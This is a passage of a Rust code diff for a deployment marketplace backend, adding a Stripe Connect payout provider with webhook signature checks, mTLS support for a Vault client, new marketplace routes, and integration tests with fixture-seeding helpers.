+                "stripe_secret_key is required when payouts.provider=stripe_connect".to_string(),
+            ));
+        }
+        let webhook_secret = settings.stripe_webhook_secret.trim().to_string();
+        if webhook_secret.is_empty() {
+            return Err(PayoutProviderError::NotConfigured(
+                "stripe_webhook_secret is required when payouts.provider=stripe_connect"
+                    .to_string(),
+            ));
+        }
+
+        let http_client = reqwest::Client::builder()
+            .timeout(Duration::from_secs(settings.timeout_secs))
+            .build()
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        Ok(Self {
+            http_client,
+            secret_key,
+            webhook_secret,
+            api_base_url: settings
+                .stripe_api_base_url
+                .trim_end_matches('/')
+                .to_string(),
+            return_url: settings.onboarding_return_url.clone(),
+            refresh_url: settings.onboarding_refresh_url.clone(),
+        })
+    }
+
+    async fn create_account(&self, user: &models::User) -> Result<String, PayoutProviderError> {
+        #[derive(Deserialize)]
+        struct StripeAccountResponse {
+            id: String,
+        }
+
+        let response = self
+            .http_client
+            .post(format!("{}/v1/accounts", self.api_base_url))
+            .bearer_auth(&self.secret_key)
+            .form(&[
+                ("type", "express"),
+                ("email", user.email.as_str()),
+                ("metadata[stacker_user_id]", user.id.as_str()),
+            ])
+            .send()
+            .await
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        let status = response.status();
+        if !status.is_success() {
+            let body = response.text().await.unwrap_or_default();
+            return Err(PayoutProviderError::Request(format!(
+                "Stripe account create failed with status {status}: {body}"
+            )));
+        }
+
+        response
+            .json::<StripeAccountResponse>()
+            .await
+            .map(|account| account.id)
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))
+    }
+}
+
+#[async_trait]
+impl PayoutProvider for StripeConnectPayoutProvider {
+    fn provider_code(&self) -> &'static str {
+        "stripe_connect"
+    }
+
+    async fn create_onboarding_link(
+        &self,
+        user: &models::User,
+        existing_account_ref: Option<&str>,
+    ) -> Result<PayoutOnboardingLink, PayoutProviderError> {
+        #[derive(Deserialize)]
+        struct StripeAccountLinkResponse {
+            url: String,
+            expires_at: i64,
+        }
+
+        let account_ref = match existing_account_ref {
+            Some(account_ref) if !account_ref.trim().is_empty() => account_ref.to_string(),
+            _ => self.create_account(user).await?,
+        };
+
+        let response = self
+            .http_client
+            .post(format!("{}/v1/account_links", self.api_base_url))
+            .bearer_auth(&self.secret_key)
+            .form(&[
+                ("account", account_ref.as_str()),
+                ("refresh_url", self.refresh_url.as_str()),
+                ("return_url", self.return_url.as_str()),
+                ("type", "account_onboarding"),
+            ])
+            .send()
+            .await
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        let status = response.status();
+        if !status.is_success() {
+            let body = response.text().await.unwrap_or_default();
+            return Err(PayoutProviderError::Request(format!(
+                "Stripe account link create failed with status {status}: {body}"
+            )));
+        }
+
+        let link = response
+            .json::<StripeAccountLinkResponse>()
+            .await
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))?;
+
+        Ok(PayoutOnboardingLink {
+            provider: self.provider_code().to_string(),
+            account_ref,
+            onboarding_url: Some(link.url),
+            expires_at: Some(link.expires_at),
+        })
+    }
+
+    async fn complete_onboarding(
+        &self,
+        account_ref: &str,
+    ) -> Result<PayoutOnboardingCompletion, PayoutProviderError> {
+        #[derive(Deserialize)]
+        struct StripeAccountStatusResponse {
+            details_submitted: bool,
+            payouts_enabled: bool,
+        }
+
+        let response = self
+            .http_client
+            .get(format!("{}/v1/accounts/{}", self.api_base_url, account_ref))
+            .bearer_auth(&self.secret_key)
+            .send()
+            .await
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        let status = response.status();
+        if !status.is_success() {
+            let body = response.text().await.unwrap_or_default();
+            return Err(PayoutProviderError::Request(format!(
+                "Stripe account retrieve failed with status {status}: {body}"
+            )));
+        }
+
+        let account = response
+            .json::<StripeAccountStatusResponse>()
+            .await
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))?;
+
+        Ok(PayoutOnboardingCompletion {
+            completed: account.details_submitted,
+            payouts_enabled: account.payouts_enabled,
+        })
+    }
+
+    async fn parse_webhook_update(
+        &self,
+        payload: &[u8],
+        signature: Option<&str>,
+    ) -> Result<Option<PayoutWebhookUpdate>, PayoutProviderError> {
+        verify_stripe_signature(payload, signature, &self.webhook_secret)?;
+
+        let event = serde_json::from_slice::<Value>(payload)
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))?;
+        let event_type = event
+            .get("type")
+            .and_then(Value::as_str)
+            .unwrap_or_default()
+            .to_string();
+
+        if event_type != "account.updated" {
+            return Ok(None);
+        }
+
+        let account = event
+            .get("data")
+            .and_then(|data| data.get("object"))
+            .ok_or_else(|| {
+                PayoutProviderError::InvalidResponse(
+                    "Stripe account.updated event missing data.object".to_string(),
+                )
+            })?;
+        let account_ref = account
+            .get("id")
+            .and_then(Value::as_str)
+            .ok_or_else(|| {
+                PayoutProviderError::InvalidResponse(
+                    "Stripe account.updated event missing account id".to_string(),
+                )
+            })?
+            .to_string();
+        let onboarding_completed = account
+            .get("details_submitted")
+            .and_then(Value::as_bool)
+            .unwrap_or(false);
+        let payouts_enabled = account
+            .get("payouts_enabled")
+            .and_then(Value::as_bool)
+            .unwrap_or(false);
+
+        Ok(Some(PayoutWebhookUpdate {
+            provider: self.provider_code().to_string(),
+            account_ref,
+            onboarding_completed,
+            payouts_enabled,
+            event_type,
+        }))
+    }
+}
+
+fn verify_stripe_signature(
+    payload: &[u8],
+    signature_header: Option<&str>,
+    webhook_secret: &str,
+) -> Result<(), PayoutProviderError> {
+    let signature_header = signature_header.ok_or_else(|| {
+        PayoutProviderError::Request("Missing Stripe-Signature header".to_string())
+    })?;
+    let timestamp = stripe_signature_part(signature_header, "t").ok_or_else(|| {
+        PayoutProviderError::Request("Stripe-Signature header missing timestamp".to_string())
+    })?;
+    let timestamp_i64 = timestamp.parse::<i64>().map_err(|_| {
+        PayoutProviderError::Request("Stripe-Signature timestamp is invalid".to_string())
+    })?;
+    let now = chrono::Utc::now().timestamp();
+    if (now - timestamp_i64).abs() > 300 {
+        return Err(PayoutProviderError::Request(
+            "Stripe webhook signature timestamp is outside tolerance".to_string(),
+        ));
+    }
+
+    let expected_signature = stripe_signature_part(signature_header, "v1").ok_or_else(|| {
+        PayoutProviderError::Request("Stripe-Signature header missing v1 signature".to_string())
+    })?;
+    let expected_signature = hex_decode(expected_signature)?;
+
+    let mut mac = Hmac::<Sha256>::new_from_slice(webhook_secret.as_bytes())
+        .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+    mac.update(timestamp.as_bytes());
+    mac.update(b".");
+    mac.update(payload);
+    mac.verify_slice(&expected_signature)
+        .map_err(|_| PayoutProviderError::Request("Invalid Stripe webhook signature".to_string()))
+}
+
+fn stripe_signature_part<'a>(header: &'a str, key: &str) -> Option<&'a str> {
+    header.split(',').find_map(|part| {
+        let (part_key, part_value) = part.split_once('=')?;
+        (part_key == key).then_some(part_value)
+    })
+}
+
+fn hex_decode(value: &str) -> Result<Vec<u8>, PayoutProviderError> {
+    if value.len() % 2 != 0 {
+        return Err(PayoutProviderError::Request(
+            "Stripe webhook signature hex is invalid".to_string(),
+        ));
+    }
+
+    let mut bytes = Vec::with_capacity(value.len() / 2);
+    for chunk in value.as_bytes().chunks_exact(2) {
+        let high = hex_value(chunk[0])?;
+        let low = hex_value(chunk[1])?;
+        bytes.push((high << 4) | low);
+    }
+    Ok(bytes)
+}
+
+fn hex_value(byte: u8) -> Result<u8, PayoutProviderError> {
+    match byte {
+        b'0'..=b'9' => Ok(byte - b'0'),
+        b'a'..=b'f' => Ok(byte - b'a' + 10),
+        b'A'..=b'F' => Ok(byte - b'A' + 10),
+        _ => Err(PayoutProviderError::Request(
+            "Stripe webhook signature hex is invalid".to_string(),
+        )),
+    }
+}
+
+/// Returns true when the runtime environment is production, based on the same
+/// env vars MarketplaceAssetSettings already honours (STACKER_ENV / APP_ENV / NODE_ENV).
+fn is_production_env() -> bool {
+    let current = std::env::var("STACKER_ENV")
+        .or_else(|_| std::env::var("APP_ENV"))
+        .or_else(|_| std::env::var("NODE_ENV"))
+        .unwrap_or_default();
+    matches!(current.as_str(), "production" | "prod")
+}
+
+pub fn init_payout_provider(
+    settings: &PayoutSettings,
+) -> Result<std::sync::Arc<dyn PayoutProvider>, PayoutProviderError> {
+    init_payout_provider_inner(settings, is_production_env())
+}
+
+fn init_payout_provider_inner(
+    settings: &PayoutSettings,
+    is_production: bool,
+) -> Result<std::sync::Arc<dyn PayoutProvider>, PayoutProviderError> {
+    match settings.provider.as_str() {
+        "stripe_connect" | "stripe" => {
+            tracing::info!("Payout provider initialised: stripe_connect");
+            Ok(std::sync::Arc::new(StripeConnectPayoutProvider::try_new(
+                settings,
+            )?))
+        }
+        "mock" | "" => {
+            if is_production {
+                return Err(PayoutProviderError::NotConfigured(
+                    "Refusing to start with the 'mock' payout provider in a production \
+                     environment. Set STACKER_PAYOUT_PROVIDER=stripe_connect and provide \
+                     STRIPE_SECRET_KEY, STRIPE_WEBHOOK_SECRET, PAYOUT_ONBOARDING_RETURN_URL, \
+                     and PAYOUT_ONBOARDING_REFRESH_URL to enable real creator payouts."
+                        .to_string(),
+                ));
+            }
+            tracing::warn!(
+                "Payout provider is MOCK — onboarding links resolve to https://mock.payouts.local/* \
+                 and no real money moves. Set STACKER_PAYOUT_PROVIDER=stripe_connect to enable Stripe."
+            );
+            Ok(std::sync::Arc::new(MockPayoutProvider))
+        }
+        other => Err(PayoutProviderError::NotConfigured(format!(
+            "Unknown payout provider '{other}'. Expected 'mock' or 'stripe_connect'"
+        ))),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::configuration::PayoutSettings;
+
+    fn stripe_settings() -> PayoutSettings {
+        PayoutSettings {
+            provider: "stripe_connect".to_string(),
+            stripe_secret_key: "sk_test_123".to_string(),
+            stripe_webhook_secret: "whsec_test".to_string(),
+            stripe_api_base_url: "https://api.stripe.com".to_string(),
+            onboarding_return_url: "https://example.com/return".to_string(),
+            onboarding_refresh_url: "https://example.com/refresh".to_string(),
+            timeout_secs: 5,
+        }
+    }
+
+    fn test_hex_encode(bytes: &[u8]) -> String {
+        const HEX: &[u8; 16] = b"0123456789abcdef";
+        let mut out = String::with_capacity(bytes.len() * 2);
+        for byte in bytes {
+            out.push(HEX[(byte >> 4) as usize] as char);
+            out.push(HEX[(byte & 0x0f) as usize] as char);
+        }
+        out
+    }
+
+    fn sign_payload(payload: &[u8], timestamp: i64, secret: &str) -> String {
+        let mut mac = Hmac::<Sha256>::new_from_slice(secret.as_bytes()).unwrap();
+        mac.update(timestamp.to_string().as_bytes());
+        mac.update(b".");
+        mac.update(payload);
+        format!(
+            "t={},v1={}",
+            timestamp,
+            test_hex_encode(&mac.finalize().into_bytes())
+        )
+    }
+
+    #[test]
+    fn stripe_provider_requires_webhook_secret() {
+        let mut settings = stripe_settings();
+        settings.stripe_webhook_secret.clear();
+
+        let err = match StripeConnectPayoutProvider::try_new(&settings) {
+            Ok(_) => panic!("stripe provider should require webhook secret"),
+            Err(err) => err,
+        };
+        assert!(err
+            .to_string()
+            .contains("stripe_webhook_secret is required"));
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_stale_signature() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1","details_submitted":true,"payouts_enabled":true}}}"#;
+        let stale_timestamp = chrono::Utc::now().timestamp() - 1_000;
+        let signature = sign_payload(payload, stale_timestamp, "whsec_test");
+
+        let err = provider
+            .parse_webhook_update(payload, Some(&signature))
+            .await
+            .unwrap_err();
+        assert!(err.to_string().contains("outside tolerance"));
+    }
+
+    fn mock_settings() -> PayoutSettings {
+        PayoutSettings {
+            provider: "mock".to_string(),
+            stripe_secret_key: String::new(),
+            stripe_webhook_secret: String::new(),
+            stripe_api_base_url: "https://api.stripe.com".to_string(),
+            onboarding_return_url: "https://example.com/return".to_string(),
+            onboarding_refresh_url: "https://example.com/refresh".to_string(),
+            timeout_secs: 5,
+        }
+    }
+
+    #[test]
+    fn mock_provider_rejected_in_production() {
+        let err = init_payout_provider_inner(&mock_settings(), true)
+            .err()
+            .expect("mock must be refused in production");
+        let message = err.to_string();
+        assert!(
+            message.contains("mock"),
+            "error should mention mock provider: {message}"
+        );
+        assert!(
+            message.contains("STACKER_PAYOUT_PROVIDER"),
+            "error should point at the env var to set: {message}"
+        );
+    }
+
+    #[test]
+    fn mock_provider_allowed_outside_production() {
+        init_payout_provider_inner(&mock_settings(), false)
+            .expect("mock should be allowed when not production");
+    }
+
+    #[test]
+    fn empty_provider_treated_as_mock_and_rejected_in_production() {
+        let mut settings = mock_settings();
+        settings.provider.clear();
+        let err = init_payout_provider_inner(&settings, true)
+            .err()
+            .expect("empty provider in production must be refused");
+        assert!(err.to_string().contains("mock"));
+    }
+
+    #[test]
+    fn stripe_provider_initialises_in_production() {
+        init_payout_provider_inner(&stripe_settings(), true)
+            .expect("stripe_connect should initialise in production");
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_parses_valid_account_update() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1","details_submitted":true,"payouts_enabled":true}}}"#;
+        let signature = sign_payload(payload, chrono::Utc::now().timestamp(), "whsec_test");
+
+        let update = provider
+            .parse_webhook_update(payload, Some(&signature))
+            .await
+            .unwrap()
+            .expect("account.updated should produce update");
+
+        assert_eq!("stripe_connect", update.provider);
+        assert_eq!("acct_1", update.account_ref);
+        assert!(update.onboarding_completed);
+        assert!(update.payouts_enabled);
+    }
+}
diff --git a/src/services/vault_service.rs b/src/services/vault_service.rs
index be818d49..d62fb740 100644
--- a/src/services/vault_service.rs
+++ b/src/services/vault_service.rs
@@ -8,6 +8,7 @@
 
 use anyhow::Result;
 use reqwest::Client;
+use reqwest::Identity;
 use serde::{Deserialize, Serialize};
 use std::collections::HashMap;
 use std::time::Duration;
@@ -95,8 +96,21 @@ impl VaultService {
     pub fn from_settings(
         settings: &crate::configuration::VaultSettings,
     ) -> Result<Self, VaultError> {
-        let http_client = Client::builder()
-            .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS))
+        let mut builder = Client::builder()
+            .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS));
+
+        if let (Some(cert), Some(key)) = (&settings.client_cert, &settings.client_key) {
+            match Identity::from_pkcs8_pem(cert.as_bytes(), key.as_bytes()) {
+                Ok(identity) => {
+                    builder = builder.identity(identity);
+                }
+                Err(e) => {
+                    tracing::warn!("Failed to load mTLS identity for Vault service: {}", e);
+                }
+            }
+        }
+
+        let http_client = builder
             .build()
             .map_err(|e| VaultError::Other(format!("Failed to create HTTP client: {}", e)))?;
 
@@ -120,6 +134,8 @@ impl VaultService {
     /// - `VAULT_ADDRESS`: Base URL (e.g., https://vault.try.direct)
     /// - `VAULT_TOKEN`: Authentication token
     /// - `VAULT_CONFIG_PATH_PREFIX`: KV mount/prefix (e.g., secret/debug)
+    /// - `VAULT_CLIENT_CERT`: Client certificate PEM for mTLS
+    /// - `VAULT_CLIENT_KEY`: Client key PEM for mTLS
     pub fn from_env() -> Result<Option<Self>, VaultError> {
         let base_url = std::env::var("VAULT_ADDRESS").ok();
         let token = std::env::var("VAULT_TOKEN").ok();
@@ -129,8 +145,23 @@ impl VaultService {
 
         match (base_url, token, prefix) {
             (Some(base), Some(tok), Some(pref)) => {
-                let http_client = Client::builder()
-                    .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS))
+                let mut builder = Client::builder()
+                    .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS));
+
+                let client_cert = std::env::var("VAULT_CLIENT_CERT").ok();
+                let client_key = std::env::var("VAULT_CLIENT_KEY").ok();
+                if let (Some(cert), Some(key)) = (&client_cert, &client_key) {
+                    match Identity::from_pkcs8_pem(cert.as_bytes(), key.as_bytes()) {
+                        Ok(identity) => {
+                            builder = builder.identity(identity);
+                        }
+                        Err(e) => {
+                            tracing::warn!("Failed to load mTLS identity for Vault service from env: {}", e);
+                        }
+                    }
+                }
+
+                let http_client = builder
                     .build()
                     .map_err(|e| {
                         VaultError::Other(format!("Failed to create HTTP client: {}", e))
diff --git a/src/startup.rs b/src/startup.rs
index 367a09a0..9e512ce3 100644
--- a/src/startup.rs
+++ b/src/startup.rs
@@ -107,6 +107,9 @@ pub async fn run(
         connectors::init_user_service(&settings.connectors, api_pool.clone());
     let dockerhub_connector = connectors::init_dockerhub(&settings.connectors).await;
     let install_service_connector = connectors::init_install_service(&settings.connectors);
+    let payout_provider = crate::services::init_payout_provider(&settings.payouts)
+        .map_err(|err| std::io::Error::new(std::io::ErrorKind::InvalidInput, err.to_string()))?;
+    let payout_provider = web::Data::new(payout_provider);
 
     let authorization =
         middleware::authorization::try_new(settings.database.connection_string()).await?;
@@ -149,6 +152,7 @@ pub async fn run(
             .app_data(handoff_store.clone())
             .app_data(oauth_http_client.clone())
             .app_data(oauth_cache.clone())
+            .app_data(payout_provider.clone())
             .service(
                 web::scope("/health_check")
                     .service(routes::health_check)
@@ -223,6 +227,10 @@ pub async fn run(
                             .service(crate::routes::agreement::accept_handler),
                     )
                     .service(crate::routes::marketplace::categories::list_handler)
+                    .service(
+                        web::scope("/vendors")
+                            .service(crate::routes::marketplace::public::vendor_detail_handler),
+                    )
                              .service(
                                   web::scope("/templates")
                                       .service(crate::routes::marketplace::public::list_handler)
@@ -231,6 +239,9 @@ pub async fn run(
                                       .service(
                                           crate::routes::marketplace::creator::self_vendor_profile_handler,
                                       )
+                                      .service(
+                                          crate::routes::marketplace::creator::update_vendor_public_profile_handler,
+                                      )
                                      .service(
                                          crate::routes::marketplace::creator::create_onboarding_link_handler,
                                      )
@@ -238,10 +249,14 @@ pub async fn run(
                                          crate::routes::marketplace::creator::complete_onboarding_handler,
                                      )
                                      .service(crate::routes::marketplace::creator::my_reviews_handler)
-                                     .service(
-                                         crate::routes::marketplace::creator::vendor_profile_status_handler,
-                                     )
-                                      .service(crate::routes::marketplace::creator::create_handler)
+                                    .service(
+                                        crate::routes::marketplace::creator::vendor_profile_status_handler,
+                                    )
+                                    .service(crate::routes::marketplace::template_rating::summary_handler)
+                                    .service(crate::routes::marketplace::template_rating::my_rating_handler)
+                                    .service(crate::routes::marketplace::template_rating::upsert_handler)
+                                    .service(crate::routes::marketplace::template_rating::delete_handler)
+                                     .service(crate::routes::marketplace::creator::create_handler)
                                       .service(crate::routes::marketplace::creator::update_handler)
                                       .service(
                                           crate::routes::marketplace::creator::presign_asset_upload_handler,
@@ -255,6 +270,7 @@ pub async fn run(
                                       .service(crate::routes::marketplace::creator::submit_handler)
                                       .service(crate::routes::marketplace::creator::resubmit_handler)
                                      .service(crate::routes::marketplace::public::detail_handler)
+                                     .service(crate::routes::marketplace::install::install_handler)
                                      .service(crate::routes::marketplace::public::increment_view_count_handler)
                                      .service(crate::routes::marketplace::public::increment_deploy_count_handler),
                     )
@@ -279,13 +295,16 @@ pub async fn run(
                             .service(
                                 crate::routes::marketplace::creator::presign_asset_download_handler,
                             )
-                            .service(crate::routes::marketplace::public::detail_handler),
+                           .service(crate::routes::marketplace::public::detail_handler)
+                           .service(crate::routes::marketplace::install::install_handler),
                     )
                     .service(
                         web::scope("/v1/marketplace")
+                            .service(crate::routes::marketplace::search::applications_search_handler)
                             .service(crate::routes::marketplace::public::install_script_handler)
                             .service(crate::routes::marketplace::public::download_stack_handler)
                             .service(crate::routes::marketplace::public::deploy_complete_handler)
+                            .service(crate::routes::marketplace::payout_webhook::webhook_handler)
                             .service(web::scope("/agents").service(
                                 crate::routes::marketplace::agent::register_marketplace_agent_handler,
                             )),
@@ -377,6 +396,11 @@ pub async fn run(
                                      .service(crate::routes::marketplace::admin::update_verifications_handler)
                                      .service(crate::routes::marketplace::admin::update_vendor_profile_handler),
                              )
+                             .service(
+                                 web::scope("/vendors")
+                                     .service(crate::routes::marketplace::admin::list_vendor_profiles_handler)
+                                     .service(crate::routes::marketplace::admin::update_vendor_profile_by_creator_handler),
+                             )
                              .service(
                                  web::scope("/marketplace")
                                      .service(crate::routes::marketplace::admin::list_plans_handler),
diff --git a/tests/cli_marketplace_install.rs b/tests/cli_marketplace_install.rs
new file mode 100644
index 00000000..3277d8aa
--- /dev/null
+++ b/tests/cli_marketplace_install.rs
@@ -0,0 +1,113 @@
+//! Integration tests for `stacker install <template>`.
+//!
+//! These test the guard that prevents `stacker install` from running
+//! inside an already-deployed project directory.
+
+use assert_cmd::Command;
+use predicates::prelude::*;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_yml(dir: &TempDir, deploy_target: &str) {
+    let config = format!(
+        r#"
+name: test-project
+version: "1.0"
+app:
+  type: static
+  path: "."
+deploy:
+  target: {}
+"#,
+        deploy_target
+    );
+    fs::write(dir.path().join("stacker.yml"), config).unwrap();
+}
+
+fn write_cloud_lock(dir: &TempDir) {
+    let stacker_dir = dir.path().join(".stacker");
+    fs::create_dir_all(&stacker_dir).unwrap();
+    let lock = r#"
+target: cloud
+server_ip: 203.0.113.42
+server_name: test-server
+deployment_id: 1
+project_id: 1
+cloud_id: 1
+project_name: test-project
+stacker_email: test@example.com
+deployed_at: 2026-07-01T12:00:00+00:00
+"#;
+    fs::write(stacker_dir.join("deployment-cloud.lock"), lock).unwrap();
+}
+
+#[test]
+fn test_install_refuses_existing_deployed_project() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_yml(&dir, "cloud");
+    write_cloud_lock(&dir);
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("already contains a deployed project"))
+        .stderr(predicate::str::contains("stacker service add"))
+        .stderr(predicate::str::contains("stacker agent deploy-app"));
+}
+
+#[test]
+fn test_install_refuses_existing_local_deployed_project() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_yml(&dir, "local");
+    let stacker_dir = dir.path().join(".stacker");
+    fs::create_dir_all(&stacker_dir).unwrap();
+    let lock = r#"
+target: local
+server_ip: 127.0.0.1
+deployed_at: 2026-07-01T12:00:00+00:00
+"#;
+    fs::write(stacker_dir.join("deployment-local.lock"), lock).unwrap();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("already contains a deployed project"));
+}
+
+#[test]
+fn test_install_allowed_with_stacker_yml_but_no_lock() {
+    let dir = TempDir::new().unwrap();
+    write_stacker_yml(&dir, "cloud");
+
+    // Should NOT hit the "already contains a deployed project" guard.
+    // It will fail for a different reason (no credentials / needs login),
+    // but crucially not with our guard message.
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("already contains a deployed project").not());
+}
+
+#[test]
+fn test_install_allowed_in_empty_directory() {
+    let dir = TempDir::new().unwrap();
+
+    // No stacker.yml, no lock — should proceed past our guard
+    // and fail for a different reason (needs login / no credentials).
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["install", "some-template"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("already contains a deployed project").not());
+}
diff --git a/tests/common/mod.rs b/tests/common/mod.rs
index 60739f6d..88cfe7ad 100644
--- a/tests/common/mod.rs
+++ b/tests/common/mod.rs
@@ -5,16 +5,17 @@
 )]
 
 use actix_web::{get, web, App, HttpServer, Responder};
+use serde::Deserialize;
+use sqlx::Row;
 use sqlx::{Connection, Executor, PgConnection, PgPool};
 use stacker::configuration::{get_configuration, DatabaseSettings, Settings};
 use stacker::connectors::config::UserServiceConfig;
 use stacker::forms;
 use stacker::helpers::AgentPgPool;
 use std::net::TcpListener;
-use std::path::Path;
+use std::path::{Path, PathBuf};
 use std::sync::OnceLock;
 use wiremock::MockServer;
-
 static ACCESS_CONTROL_CONF_READY: OnceLock<()> = OnceLock::new();
 
 pub async fn spawn_app_with_configuration(mut configuration: Settings) -> Option<TestApp> {
@@ -354,6 +355,262 @@ pub async fn create_test_client(pool: &PgPool, user_id: &str) -> i32 {
     .expect("Failed to insert test client")
 }
 
+#[derive(Debug, Clone, Deserialize)]
+pub struct MarketplaceVendorFixture {
+    pub creator_user_id: String,
+    pub public_slug: String,
+    pub display_name: String,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+    pub verification_status: String,
+    pub onboarding_status: String,
+    pub payouts_enabled: bool,
+    pub payout_provider: Option<String>,
+    pub payout_account_ref: Option<String>,
+    pub metadata: serde_json::Value,
+}
+
+#[derive(Debug, Clone, Deserialize)]
+pub struct MarketplaceTemplateFixture {
+    pub creator_user_id: String,
+    pub creator_name: String,
+    pub name: String,
+    pub slug: String,
+    pub status: String,
+    pub short_description: Option<String>,
+    pub long_description: Option<String>,
+    pub tags: serde_json::Value,
+    pub tech_stack: serde_json::Value,
+    pub vendor_url: Option<String>,
+}
+
+fn shared_fixtures_root() -> PathBuf {
+    if let Ok(path) = std::env::var("SHARED_FIXTURES_DIR") {
+        return PathBuf::from(path);
+    }
+
+    Path::new(env!("CARGO_MANIFEST_DIR"))
+        .parent()
+        .unwrap_or_else(|| Path::new(env!("CARGO_MANIFEST_DIR")))
+        .join("config/shared-fixtures")
+}
+
+fn read_marketplace_shared_fixture(file_name: &str) -> String {
+    let shared_path = shared_fixtures_root().join("marketplace").join(file_name);
+    if shared_path.exists() {
+        return std::fs::read_to_string(&shared_path).unwrap_or_else(|err| {
+            panic!(
+                "Failed to read shared fixture {}: {}",
+                shared_path.display(),
+                err
+            )
+        });
+    }
+
+    let fallback_path = Path::new(env!("CARGO_MANIFEST_DIR"))
+        .join("tests/fixtures/shared/marketplace")
+        .join(file_name);
+    std::fs::read_to_string(&fallback_path).unwrap_or_else(|err| {
+        panic!(
+            "Failed to read fallback fixture {}: {}",
+            fallback_path.display(),
+            err
+        )
+    })
+}
+
+pub fn marketplace_vendor_fixtures() -> Vec<MarketplaceVendorFixture> {
+    serde_json::from_str(&read_marketplace_shared_fixture("vendors.json"))
+        .expect("marketplace vendor fixtures should be valid JSON")
+}
+
+pub fn marketplace_template_fixtures() -> Vec<MarketplaceTemplateFixture> {
+    serde_json::from_str(&read_marketplace_shared_fixture("templates.json"))
+        .expect("marketplace template fixtures should be valid JSON")
+}
+
+pub async fn seed_marketplace_vendor_fixture(
+    pool: &PgPool,
+    public_slug: &str,
+) -> MarketplaceVendorFixture {
+    let vendor = marketplace_vendor_fixtures()
+        .into_iter()
+        .find(|fixture| fixture.public_slug == public_slug)
+        .unwrap_or_else(|| panic!("Unknown marketplace vendor fixture: {}", public_slug));
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12)
+        ON CONFLICT (creator_user_id) DO UPDATE SET
+            public_slug = EXCLUDED.public_slug,
+            display_name = EXCLUDED.display_name,
+            bio = EXCLUDED.bio,
+            avatar_url = EXCLUDED.avatar_url,
+            website_url = EXCLUDED.website_url,
+            verification_status = EXCLUDED.verification_status,
+            onboarding_status = EXCLUDED.onboarding_status,
+            payouts_enabled = EXCLUDED.payouts_enabled,
+            payout_provider = EXCLUDED.payout_provider,
+            payout_account_ref = EXCLUDED.payout_account_ref,
+            metadata = EXCLUDED.metadata,
+            updated_at = NOW()"#,
+    )
+    .bind(&vendor.creator_user_id)
+    .bind(&vendor.public_slug)
+    .bind(&vendor.display_name)
+    .bind(&vendor.bio)
+    .bind(&vendor.avatar_url)
+    .bind(&vendor.website_url)
+    .bind(&vendor.verification_status)
+    .bind(&vendor.onboarding_status)
+    .bind(vendor.payouts_enabled)
+    .bind(&vendor.payout_provider)
+    .bind(&vendor.payout_account_ref)
+    .bind(&vendor.metadata)
+    .execute(pool)
+    .await
+    .expect("Failed to seed marketplace vendor fixture");
+
+    vendor
+}
+
+pub async fn seed_marketplace_template_fixtures_for_vendor(
+    pool: &PgPool,
+    creator_user_id: &str,
+) -> Vec<MarketplaceTemplateFixture> {
+    let templates = marketplace_template_fixtures()
+        .into_iter()
+        .filter(|fixture| fixture.creator_user_id == creator_user_id)
+        .collect::<Vec<_>>();
+
+    for template in &templates {
+        sqlx::query(
+            r#"INSERT INTO stack_template (
+                creator_user_id,
+                creator_name,
+                name,
+                slug,
+                status,
+                short_description,
+                long_description,
+                tags,
+                tech_stack,
+                vendor_url,
+                approved_at
+            )
+            VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10,
+                CASE WHEN $5 = 'approved' THEN NOW() ELSE NULL END
+            )
+            ON CONFLICT (slug) DO UPDATE SET
+                creator_user_id = EXCLUDED.creator_user_id,
+                creator_name = EXCLUDED.creator_name,
+                name = EXCLUDED.name,
+                status = EXCLUDED.status,
+                short_description = EXCLUDED.short_description,
+                long_description = EXCLUDED.long_description,
+                tags = EXCLUDED.tags,
+                tech_stack = EXCLUDED.tech_stack,
+                vendor_url = EXCLUDED.vendor_url,
+                approved_at = EXCLUDED.approved_at"#,
+        )
+        .bind(&template.creator_user_id)
+        .bind(&template.creator_name)
+        .bind(&template.name)
+        .bind(&template.slug)
+        .bind(&template.status)
+        .bind(&template.short_description)
+        .bind(&template.long_description)
+        .bind(&template.tags)
+        .bind(&template.tech_stack)
